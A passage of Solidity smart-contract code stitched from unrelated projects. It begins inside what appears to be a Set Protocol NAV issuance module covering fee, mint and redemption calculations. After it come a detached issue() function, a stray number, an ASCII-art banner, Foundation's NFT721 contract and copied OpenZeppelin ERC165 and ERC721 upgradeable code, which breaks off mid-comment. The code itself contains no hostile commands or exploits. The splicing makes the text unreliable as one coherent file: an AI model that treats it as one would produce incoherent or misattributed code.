ISetToken _setToken, address _reserveAsset, uint256 _reserveAssetQuantity ) external view returns (bool) { uint256 setTotalSupply = _setToken.totalSupply(); if ( _reserveAssetQuantity == 0 || !isReserveAsset[_setToken][_reserveAsset] || setTotalSupply < navIssuanceSettings[_setToken].minSetTokenSupply ) { return false; } return true; } /** * Checks if redeem is valid * * @param _setToken Instance of the SetToken * @param _reserveAsset Address of the reserve asset * @param _setTokenQuantity Quantity of SetTokens to redeem * * @return bool Returns true if redeem is valid */ function isRedeemValid( ISetToken _setToken, address _reserveAsset, uint256 _setTokenQuantity ) external view returns (bool) { uint256 setTotalSupply = _setToken.totalSupply(); if ( _setTokenQuantity == 0 || !isReserveAsset[_setToken][_reserveAsset] || setTotalSupply < navIssuanceSettings[_setToken].minSetTokenSupply.add(_setTokenQuantity) ) { return false; } uint256 totalRedeemValue =_getRedeemReserveQuantity(_setToken, _reserveAsset, _setTokenQuantity); (,, uint256 expectedRedeemQuantity) = _getFees( _setToken, totalRedeemValue, PROTOCOL_REDEEM_MANAGER_REVENUE_SHARE_FEE_INDEX, PROTOCOL_REDEEM_DIRECT_FEE_INDEX, MANAGER_REDEEM_FEE_INDEX ); uint256 existingUnit = _setToken.getDefaultPositionRealUnit(_reserveAsset).toUint256(); if (existingUnit.preciseMul(setTotalSupply) < expectedRedeemQuantity) { return false; } return true; } /* ============ Internal Functions ============ */ function _validateCommon(ISetToken _setToken, address _reserveAsset, uint256 _quantity) internal view { require(_quantity > 0, "Quantity must be > 0"); require(isReserveAsset[_setToken][_reserveAsset], "Must be valid reserve asset"); } function _validateIssuanceInfo(ISetToken _setToken, uint256 _minSetTokenReceiveQuantity, ActionInfo memory _issueInfo) internal view { // Check that total supply is greater than min supply needed for issuance // Note: A min supply amount is needed to avoid division by 0 when SetToken supply is 0 require( _issueInfo.previousSetTokenSupply >= navIssuanceSettings[_setToken].minSetTokenSupply, "Supply must be greater than minimum to enable issuance" ); require(_issueInfo.setTokenQuantity >= _minSetTokenReceiveQuantity, "Must be greater than min SetToken"); } function _validateRedemptionInfo( ISetToken _setToken, uint256 _minReserveReceiveQuantity, uint256 _setTokenQuantity, ActionInfo memory _redeemInfo ) internal view { // Check that new supply is more than min supply needed for redemption // Note: A min supply amount is needed to avoid division by 0 when redeeming SetToken to 0 require( _redeemInfo.newSetTokenSupply >= navIssuanceSettings[_setToken].minSetTokenSupply, "Supply must be greater than minimum to enable redemption" ); require(_redeemInfo.netFlowQuantity >= _minReserveReceiveQuantity, "Must be greater than min receive reserve quantity"); } function _getIssuanceInfo( ISetToken _setToken, address _reserveAsset, uint256 _reserveAssetQuantity ) internal view returns (ActionInfo memory) { ActionInfo memory issueInfo; issueInfo.previousSetTokenSupply = _setToken.totalSupply(); issueInfo.preFeeReserveQuantity = _reserveAssetQuantity; (issueInfo.protocolFees, issueInfo.managerFee, issueInfo.netFlowQuantity) = _getFees( _setToken, issueInfo.preFeeReserveQuantity, PROTOCOL_ISSUE_MANAGER_REVENUE_SHARE_FEE_INDEX, PROTOCOL_ISSUE_DIRECT_FEE_INDEX, MANAGER_ISSUE_FEE_INDEX ); issueInfo.setTokenQuantity = _getSetTokenMintQuantity( _setToken, _reserveAsset, issueInfo.netFlowQuantity, issueInfo.previousSetTokenSupply ); (issueInfo.newSetTokenSupply, issueInfo.newPositionMultiplier) = _getIssuePositionMultiplier(_setToken, issueInfo); issueInfo.newReservePositionUnit = _getIssuePositionUnit(_setToken, _reserveAsset, issueInfo); return issueInfo; } function _getRedemptionInfo( ISetToken _setToken, address _reserveAsset, uint256 _setTokenQuantity ) internal view returns (ActionInfo memory) { ActionInfo memory redeemInfo; redeemInfo.setTokenQuantity = _setTokenQuantity; redeemInfo.preFeeReserveQuantity =_getRedeemReserveQuantity(_setToken, _reserveAsset, _setTokenQuantity); (redeemInfo.protocolFees, redeemInfo.managerFee, redeemInfo.netFlowQuantity) = _getFees( _setToken, redeemInfo.preFeeReserveQuantity, PROTOCOL_REDEEM_MANAGER_REVENUE_SHARE_FEE_INDEX, PROTOCOL_REDEEM_DIRECT_FEE_INDEX, MANAGER_REDEEM_FEE_INDEX ); redeemInfo.previousSetTokenSupply = _setToken.totalSupply(); (redeemInfo.newSetTokenSupply, redeemInfo.newPositionMultiplier) = _getRedeemPositionMultiplier(_setToken, _setTokenQuantity, redeemInfo); redeemInfo.newReservePositionUnit = _getRedeemPositionUnit(_setToken, _reserveAsset, redeemInfo); return redeemInfo; } /** * Transfer reserve asset from user to SetToken and fees from user to appropriate fee recipients **/ function _transferCollateralAndHandleFees(ISetToken _setToken, IERC20 _reserveAsset, ActionInfo memory _issueInfo) internal { transferFrom(_reserveAsset, msg.sender, address(_setToken), _issueInfo.netFlowQuantity); if (_issueInfo.protocolFees > 0) { transferFrom(_reserveAsset, msg.sender, controller.feeRecipient(), _issueInfo.protocolFees); } if (_issueInfo.managerFee > 0) { transferFrom(_reserveAsset, msg.sender, navIssuanceSettings[_setToken].feeRecipient, _issueInfo.managerFee); } } /** * Transfer WETH from module to SetToken and fees from module to appropriate fee recipients **/ function _transferWETHAndHandleFees(ISetToken _setToken, ActionInfo memory _issueInfo) internal { weth.transfer(address(_setToken), _issueInfo.netFlowQuantity); if (_issueInfo.protocolFees > 0) { weth.transfer(controller.feeRecipient(), _issueInfo.protocolFees); } if (_issueInfo.managerFee > 0) { weth.transfer(navIssuanceSettings[_setToken].feeRecipient, _issueInfo.managerFee); } } function _handleIssueStateUpdates( ISetToken _setToken, address _reserveAsset, address _to, ActionInfo memory _issueInfo ) internal { _setToken.editPositionMultiplier(_issueInfo.newPositionMultiplier); _setToken.editDefaultPosition(_reserveAsset, _issueInfo.newReservePositionUnit); _setToken.mint(_to, _issueInfo.setTokenQuantity); emit SetTokenNAVIssued( address(_setToken), msg.sender, _to, _reserveAsset, address(navIssuanceSettings[_setToken].managerIssuanceHook), _issueInfo.setTokenQuantity, _issueInfo.managerFee, _issueInfo.protocolFees ); } function _handleRedeemStateUpdates( ISetToken _setToken, address _reserveAsset, address _to, ActionInfo memory _redeemInfo ) internal { _setToken.editPositionMultiplier(_redeemInfo.newPositionMultiplier); _setToken.editDefaultPosition(_reserveAsset, _redeemInfo.newReservePositionUnit); emit SetTokenNAVRedeemed( address(_setToken), msg.sender, _to, _reserveAsset, address(navIssuanceSettings[_setToken].managerRedemptionHook), _redeemInfo.setTokenQuantity, _redeemInfo.managerFee, _redeemInfo.protocolFees ); } function _handleRedemptionFees(ISetToken _setToken, address _reserveAsset, ActionInfo memory _redeemInfo) internal { // Instruct the SetToken to transfer protocol fee to fee recipient if there is a fee payProtocolFeeFromSetToken(_setToken, _reserveAsset, _redeemInfo.protocolFees); // Instruct the SetToken to transfer manager fee to manager fee recipient if there is a fee if (_redeemInfo.managerFee > 0) { _setToken.strictInvokeTransfer( _reserveAsset, navIssuanceSettings[_setToken].feeRecipient, _redeemInfo.managerFee ); } } /** * Returns the issue premium percentage. Virtual function that can be overridden in future versions of the module * and can contain arbitrary logic to calculate the issuance premium. */ function _getIssuePremium( ISetToken _setToken, address /* _reserveAsset */, uint256 /* _reserveAssetquantity */ ) virtual internal view returns (uint256) { return navIssuanceSettings[_setToken].premiumPercentage; } /** * Returns the redeem premium percentage. Virtual function that can be overridden in future versions of the module * and can contain arbitrary logic to calculate the redemption premium. */ function _getRedeemPremium( ISetToken _setToken, address /* _reserveAsset */, uint256 /* _setTokenquantity */ ) virtual internal view returns (uint256) { return navIssuanceSettings[_setToken].premiumPercentage; } /** * Returns the fees attributed to the manager and the protocol. The fees are calculated as folows: * * ManagerFee = (manager fee % - % to protocol) * reserveAssetQuantity * Protocol Fee = (% manager fee share + direct fee %) * reserveAssetQuantity * * @param _setToken Instance of the SetToken * @param _reserveAssetQuantity Quantity of reserve asset to calculate fees from * @param _protocolManagerFeeIndex Index to pull rev share NAV Issuance fee from the Controller * @param _protocolDirectFeeIndex Index to pull direct NAV issuance fee from the Controller * @param _managerFeeIndex Index from NAVIssuanceSettings (0 = issue fee, 1 = redeem fee) * * @return uint256 Fees paid to the protocol in reserve asset * @return uint256 Fees paid to the manager in reserve asset * @return uint256 Net reserve to user net of fees */ function _getFees( ISetToken _setToken, uint256 _reserveAssetQuantity, uint256 _protocolManagerFeeIndex, uint256 _protocolDirectFeeIndex, uint256 _managerFeeIndex ) internal view returns (uint256, uint256, uint256) { (uint256 protocolFeePercentage, uint256 managerFeePercentage) = _getProtocolAndManagerFeePercentages( _setToken, _protocolManagerFeeIndex, _protocolDirectFeeIndex, _managerFeeIndex ); // Calculate total notional fees uint256 protocolFees = protocolFeePercentage.preciseMul(_reserveAssetQuantity); uint256 managerFee = managerFeePercentage.preciseMul(_reserveAssetQuantity); uint256 netReserveFlow = _reserveAssetQuantity.sub(protocolFees).sub(managerFee); return (protocolFees, managerFee, netReserveFlow); } function _getProtocolAndManagerFeePercentages( ISetToken _setToken, uint256 _protocolManagerFeeIndex, uint256 _protocolDirectFeeIndex, uint256 _managerFeeIndex ) internal view returns(uint256, uint256) { // Get protocol fee percentages uint256 protocolDirectFeePercent = controller.getModuleFee(address(this), _protocolDirectFeeIndex); uint256 protocolManagerShareFeePercent = controller.getModuleFee(address(this), _protocolManagerFeeIndex); uint256 managerFeePercent = navIssuanceSettings[_setToken].managerFees[_managerFeeIndex]; // Calculate revenue share split percentage uint256 protocolRevenueSharePercentage = protocolManagerShareFeePercent.preciseMul(managerFeePercent); uint256 managerRevenueSharePercentage = managerFeePercent.sub(protocolRevenueSharePercentage); uint256 totalProtocolFeePercentage = protocolRevenueSharePercentage.add(protocolDirectFeePercent); return (managerRevenueSharePercentage, totalProtocolFeePercentage); } function _getSetTokenMintQuantity( ISetToken _setToken, address _reserveAsset, uint256 _netReserveFlows, // Value of reserve asset net of fees uint256 _setTotalSupply ) internal view returns (uint256) { uint256 premiumPercentage = _getIssuePremium(_setToken, _reserveAsset, _netReserveFlows); uint256 premiumValue = _netReserveFlows.preciseMul(premiumPercentage); // Get valuation of the SetToken with the quote asset as the reserve asset. Returns value in precise units (10e18) // Reverts if price is not found uint256 setTokenValuation = controller.getSetValuer().calculateSetTokenValuation(_setToken, _reserveAsset); // Get reserve asset decimals uint256 reserveAssetDecimals = ERC20(_reserveAsset).decimals(); uint256 normalizedTotalReserveQuantityNetFees = _netReserveFlows.preciseDiv(10 ** reserveAssetDecimals); uint256 normalizedTotalReserveQuantityNetFeesAndPremium = _netReserveFlows.sub(premiumValue).preciseDiv(10 ** reserveAssetDecimals); // Calculate SetTokens to mint to issuer uint256 denominator = _setTotalSupply.preciseMul(setTokenValuation).add(normalizedTotalReserveQuantityNetFees).sub(normalizedTotalReserveQuantityNetFeesAndPremium); return normalizedTotalReserveQuantityNetFeesAndPremium.preciseMul(_setTotalSupply).preciseDiv(denominator); } function _getRedeemReserveQuantity( ISetToken _setToken, address _reserveAsset, uint256 _setTokenQuantity ) internal view returns (uint256) { // Get valuation of the SetToken with the quote asset as the reserve asset. Returns value in precise units (10e18) // Reverts if price is not found uint256 setTokenValuation = controller.getSetValuer().calculateSetTokenValuation(_setToken, _reserveAsset); uint256 totalRedeemValueInPreciseUnits = _setTokenQuantity.preciseMul(setTokenValuation); // Get reserve asset decimals uint256 reserveAssetDecimals = ERC20(_reserveAsset).decimals(); uint256 prePremiumReserveQuantity = totalRedeemValueInPreciseUnits.preciseMul(10 ** reserveAssetDecimals); uint256 premiumPercentage = _getRedeemPremium(_setToken, _reserveAsset, _setTokenQuantity); uint256 premiumQuantity = prePremiumReserveQuantity.preciseMulCeil(premiumPercentage); return prePremiumReserveQuantity.sub(premiumQuantity); } /** * The new position multiplier is calculated as follows: * inflationPercentage = oldSupply / newSupply * newMultiplier = (1 - inflationPercentage) * positionMultiplier */ function _getIssuePositionMultiplier( ISetToken _setToken, ActionInfo memory _issueInfo ) internal view returns (uint256, int256) { // Calculate inflation and new position multiplier. Note: Round inflation up in order to round position multiplier down uint256 newTotalSupply = _issueInfo.setTokenQuantity.add(_issueInfo.previousSetTokenSupply); int256 inflation = _issueInfo.setTokenQuantity.preciseDivCeil(newTotalSupply).toInt256(); int256 newPositionMultiplier = PreciseUnitMath.preciseUnitInt().sub(inflation).preciseMul(_setToken.positionMultiplier()); return (newTotalSupply, newPositionMultiplier); } /** * Calculate deflation and new position multiplier. Note: Round deflation down in order to round position multiplier down * * The new position multiplier is calculated as follows: * deflationPercentage = oldSupply / newSupply * newMultiplier = (1 + inflationPercentage) * positionMultiplier */ function _getRedeemPositionMultiplier( ISetToken _setToken, uint256 _setTokenQuantity, ActionInfo memory _redeemInfo ) internal view returns (uint256, int256) { uint256 newTotalSupply = _redeemInfo.previousSetTokenSupply.sub(_setTokenQuantity); int256 deflation = _setTokenQuantity.preciseDiv(newTotalSupply).toInt256(); int256 newPositionMultiplier = PreciseUnitMath.preciseUnitInt().add(deflation).preciseMul(_setToken.positionMultiplier()); return (newTotalSupply, newPositionMultiplier); } /** * The new position reserve asset unit is calculated as follows: * totalReserve = (oldUnit * oldSetTokenSupply) + reserveQuantity * newUnit = totalReserve / newSetTokenSupply */ function _getIssuePositionUnit( ISetToken _setToken, address _reserveAsset, ActionInfo memory _issueInfo ) internal view returns (uint256) { uint256 existingUnit = _setToken.getDefaultPositionRealUnit(_reserveAsset).toUint256(); uint256 totalReserve = existingUnit .preciseMul(_issueInfo.previousSetTokenSupply) .add(_issueInfo.netFlowQuantity); return totalReserve.preciseDiv(_issueInfo.newSetTokenSupply); } /** * The new position reserve asset unit is calculated as follows: * totalReserve = (oldUnit * oldSetTokenSupply) - reserveQuantityToSendOut * newUnit = totalReserve / newSetTokenSupply */ function _getRedeemPositionUnit( ISetToken _setToken, address _reserveAsset, ActionInfo memory _redeemInfo ) internal view returns (uint256) { uint256 existingUnit = _setToken.getDefaultPositionRealUnit(_reserveAsset).toUint256(); uint256 totalExistingUnits = existingUnit.preciseMul(_redeemInfo.previousSetTokenSupply); uint256 outflow = _redeemInfo.netFlowQuantity.add(_redeemInfo.protocolFees).add(_redeemInfo.managerFee); // Require withdrawable quantity is greater than existing collateral require(totalExistingUnits >= outflow, "Must be greater than total available collateral"); return totalExistingUnits.sub(outflow).preciseDiv(_redeemInfo.newSetTokenSupply); } /** * If a pre-issue hook has been configured, call the external-protocol contract. Pre-issue hook logic * can contain arbitrary logic including validations, external function calls, etc. */ function _callPreIssueHooks( ISetToken _setToken, address _reserveAsset, uint256 _reserveAssetQuantity, address _caller, address _to ) internal { INAVIssuanceHook preIssueHook = navIssuanceSettings[_setToken].managerIssuanceHook; if (address(preIssueHook) != address(0)) { preIssueHook.invokePreIssueHook(_setToken, _reserveAsset, _reserveAssetQuantity, _caller, _to); } } /** * If a pre-redeem hook has been configured, call the external-protocol contract. */ function _callPreRedeemHooks(ISetToken _setToken, uint256 _setQuantity, address _caller, address _to) internal { INAVIssuanceHook preRedeemHook = navIssuanceSettings[_setToken].managerRedemptionHook; if (address(preRedeemHook) != address(0)) { preRedeemHook.invokePreRedeemHook(_setToken, _setQuantity, _caller, _to); } } }
Deposits the allowed reserve asset into the SetToken and mints the appropriate % of Net Asset Value of the SetToken to the specified _to address. _setToken Instance of the SetToken contract _reserveAsset Address of the reserve asset to issue with _reserveAssetQuantity Quantity of the reserve asset to issue with _minSetTokenReceiveQuantity Min quantity of SetToken to receive after issuance _to Address to mint SetToken to/
function issue( ISetToken _setToken, address _reserveAsset, uint256 _reserveAssetQuantity, uint256 _minSetTokenReceiveQuantity, address _to ) external nonReentrant onlyValidAndInitializedSet(_setToken) { _validateCommon(_setToken, _reserveAsset, _reserveAssetQuantity); _callPreIssueHooks(_setToken, _reserveAsset, _reserveAssetQuantity, msg.sender, _to); ActionInfo memory issueInfo = _getIssuanceInfo(_setToken, _reserveAsset, _reserveAssetQuantity); _validateIssuanceInfo(_setToken, _minSetTokenReceiveQuantity, issueInfo); _transferCollateralAndHandleFees(_setToken, IERC20(_reserveAsset), issueInfo); _handleIssueStateUpdates(_setToken, _reserveAsset, _to, issueInfo); }
6,802,791
/* ο½₯ *γ€€β˜… ο½₯ q γ€€ο½₯γ€€οΎŸβ˜† q γ€€γ€€γ€€ *γ€€β˜… ゚ο½₯q * q γ€€γ€€* β˜† qο½₯゚*.q γ€€γ€€γ€€οΎŸ *.ο½‘β˜†ο½‘β˜…γ€€ο½₯ ​ ` .-:::::-.` `-::---...``` `-:` .:+ssssoooo++//:.` .-/+shhhhhhhhhhhhhyyyssooo: .--::. .+ossso+/////++/:://-` .////+shhhhhhhhhhhhhhhhhhhhhy `-----::. `/+////+++///+++/:--:/+/- -////+shhhhhhhhhhhhhhhhhhhhhy `------:::-` `//-.``.-/+ooosso+:-.-/oso- -////+shhhhhhhhhhhhhhhhhhhhhy .--------:::-` :+:.` .-/osyyyyyyso++syhyo.-////+shhhhhhhhhhhhhhhhhhhhhy `-----------:::-. +o+:-.-:/oyhhhhhhdhhhhhdddy:-////+shhhhhhhhhhhhhhhhhhhhhy .------------::::-- `oys+/::/+shhhhhhhdddddddddy/-////+shhhhhhhhhhhhhhhhhhhhhy .--------------:::::-` +ys+////+yhhhhhhhddddddddhy:-////+yhhhhhhhhhhhhhhhhhhhhhy `----------------::::::-`.ss+/:::+oyhhhhhhhhhhhhhhho`-////+shhhhhhhhhhhhhhhhhhhhhy .------------------:::::::.-so//::/+osyyyhhhhhhhhhys` -////+shhhhhhhhhhhhhhhhhhhhhy `.-------------------::/:::::..+o+////+oosssyyyyyyys+` .////+shhhhhhhhhhhhhhhhhhhhhy .--------------------::/:::.` -+o++++++oooosssss/. `-//+shhhhhhhhhhhhhhhhhhhhyo .------- ``````.......--` `-/+ooooosso+/-` `./++++///:::--...``hhhhyo ````` *γ€€ ο½₯ q γ€€γ€€γ€€γ€€ο½₯γ€€γ€€οΎŸβ˜† q γ€€γ€€γ€€ *γ€€β˜… ゚ο½₯q * q γ€€γ€€* β˜† qο½₯゚*.q γ€€γ€€γ€€οΎŸ *.ο½‘β˜†ο½‘β˜…γ€€ο½₯ *γ€€γ€€οΎŸο½‘Β·*ο½₯q ゚* γ€€γ€€γ€€β˜†οΎŸο½₯q°*. ゚ γ€€ ο½₯ ゚*qο½₯οΎŸβ˜…ο½‘ γ€€γ€€ο½₯ *οΎŸο½‘γ€€γ€€ * γ€€ο½₯゚*ο½‘β˜…ο½₯ β˜†βˆ΄ο½‘γ€€* ο½₯ q */ // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity ^0.7.0; import "@openzeppelin/contracts-upgradeable/introspection/ERC165Upgradeable.sol"; import "./mixins/OZ/ERC721Upgradeable.sol"; import "./mixins/FoundationTreasuryNode.sol"; import "./mixins/roles/FoundationAdminRole.sol"; import "./mixins/HasSecondarySaleFees.sol"; import "./mixins/NFT721Core.sol"; import "./mixins/NFT721Market.sol"; import "./mixins/NFT721Creator.sol"; import "./mixins/NFT721Metadata.sol"; import "./mixins/NFT721Mint.sol"; /** * @title Foundation NFTs implemented using the ERC-721 standard. * @dev This top level file holds no data directly to ease future upgrades. */ contract FNDNFT721 is FoundationTreasuryNode, FoundationAdminRole, ERC165Upgradeable, HasSecondarySaleFees, ERC721Upgradeable, NFT721Core, NFT721Creator, NFT721Market, NFT721Metadata, NFT721Mint { /** * @notice Called once to configure the contract after the initial deployment. * @dev This farms the initialize call out to inherited contracts as needed. */ function initialize( address payable treasury, string memory name, string memory symbol ) public initializer { FoundationTreasuryNode._initializeFoundationTreasuryNode(treasury); ERC721Upgradeable.__ERC721_init(name, symbol); HasSecondarySaleFees._initializeHasSecondarySaleFees(); NFT721Creator._initializeNFT721Creator(); NFT721Mint._initializeNFT721Mint(); } /** * @notice Allows a Foundation admin to update NFT config variables. * @dev This must be called right after the initial call to `initialize`. */ function adminUpdateConfig(address _nftMarket, string memory baseURI) public onlyFoundationAdmin { _updateNFTMarket(_nftMarket); _updateBaseURI(baseURI); } /** * @dev This is a no-op, just an explicit override to address compile errors due to inheritance. */ function _burn(uint256 tokenId) internal virtual override(ERC721Upgradeable, NFT721Creator, NFT721Metadata, NFT721Mint) { super._burn(tokenId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./IERC165Upgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; function __ERC165_init() internal initializer { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal initializer { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // solhint-disable /** * Copied from the OpenZeppelin repository in order to make `_tokenURIs` internal instead of private. */ pragma solidity >=0.6.0 <0.8.0; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721MetadataUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721EnumerableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/introspection/ERC165Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/EnumerableSetUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/EnumerableMapUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable, IERC721EnumerableUpgradeable { using SafeMathUpgradeable for uint256; using AddressUpgradeable for address; using EnumerableSetUpgradeable for EnumerableSetUpgradeable.UintSet; using EnumerableMapUpgradeable for EnumerableMapUpgradeable.UintToAddressMap; using StringsUpgradeable for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping(address => EnumerableSetUpgradeable.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMapUpgradeable.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping(uint256 => string) internal _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ function __ERC721_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721_init_unchained(name_, symbol_); } function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; // If there is no base URI, return the token URI. if (bytes(_baseURI).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(_baseURI, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(_baseURI, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` 